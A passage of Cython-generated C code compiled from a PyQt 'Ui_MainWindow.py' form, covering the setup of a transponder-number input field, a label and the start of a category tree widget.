(unlikely(!__pyx_t_7)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder, __pyx_t_7) < 0) __PYX_ERR(0, 563, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":564 * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_47) * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_transponder.setToolTip("") # <<<<<<<<<<<<<< * self.RR_transponder.setStatusTip("") * self.RR_transponder.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 564, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 564, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__355, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 564, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":565 * self.RR_transponder = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_transponder.setToolTip("") * self.RR_transponder.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_transponder.setAccessibleName("") * self.RR_transponder.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 565, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 565, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__356, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 565, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":566 * self.RR_transponder.setToolTip("") * self.RR_transponder.setStatusTip("") * self.RR_transponder.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_transponder.setAccessibleDescription("") * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 566, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 566, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__357, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 566, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":567 * self.RR_transponder.setStatusTip("") * self.RR_transponder.setAccessibleName("") * self.RR_transponder.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.RR_transponder.setText("0000000000") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 567, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 567, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__358, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 567, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":568 * self.RR_transponder.setAccessibleName("") * self.RR_transponder.setAccessibleDescription("") * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) # <<<<<<<<<<<<<< * self.RR_transponder.setText("0000000000") * self.RR_transponder.setMaxLength(12) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ImhDigitsOnly); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Or(__pyx_t_9, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_ImhFormattedNumbersOnly); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyNumber_Or(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 568, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":569 * self.RR_transponder.setAccessibleDescription("") * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.RR_transponder.setText("0000000000") # <<<<<<<<<<<<<< * self.RR_transponder.setMaxLength(12) * self.RR_transponder.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 569, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 569, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__359, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 569, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":570 * self.RR_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.RR_transponder.setText("0000000000") * self.RR_transponder.setMaxLength(12) # <<<<<<<<<<<<<< * self.RR_transponder.setPlaceholderText("") * self.RR_transponder.setObjectName("RR_transponder") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 570, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 570, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__360, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 570, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":571 * self.RR_transponder.setText("0000000000") * self.RR_transponder.setMaxLength(12) * self.RR_transponder.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_transponder.setObjectName("RR_transponder") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 571, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 571, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__361, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 571, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":572 * self.RR_transponder.setMaxLength(12) * self.RR_transponder.setPlaceholderText("") * self.RR_transponder.setObjectName("RR_transponder") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 572, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 572, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__362, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 572, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":573 * self.RR_transponder.setPlaceholderText("") * self.RR_transponder.setObjectName("RR_transponder") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) # <<<<<<<<<<<<<< * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_48.setObjectName("label_48") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_transponder); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_3 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_23, __pyx_t_1, __pyx_t_9}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[4] = {__pyx_t_3, __pyx_int_23, __pyx_t_1, __pyx_t_9}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_3) { __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; } __Pyx_INCREF(__pyx_int_23); __Pyx_GIVEREF(__pyx_int_23); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_int_23); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 2+__pyx_t_8, __pyx_t_9); __pyx_t_1 = 0; __pyx_t_9 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 573, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":574 * self.RR_transponder.setObjectName("RR_transponder") * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.label_48.setObjectName("label_48") * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_48, __pyx_t_7) < 0) __PYX_ERR(0, 574, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":575 * self.formLayout_3.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.RR_transponder) * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_48.setObjectName("label_48") # <<<<<<<<<<<<<< * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_48); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 575, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 575, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__363, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 575, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":576 * self.label_48 = QtWidgets.QLabel(self.formLayoutWidget_3) * self.label_48.setObjectName("label_48") * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.LabelRole, self.label_48) # <<<<<<<<<<<<<< * self.RR_Categorie = QtWidgets.QTreeWidget(self.formLayoutWidget_3) * self.RR_Categorie.setToolTip("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 576, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = 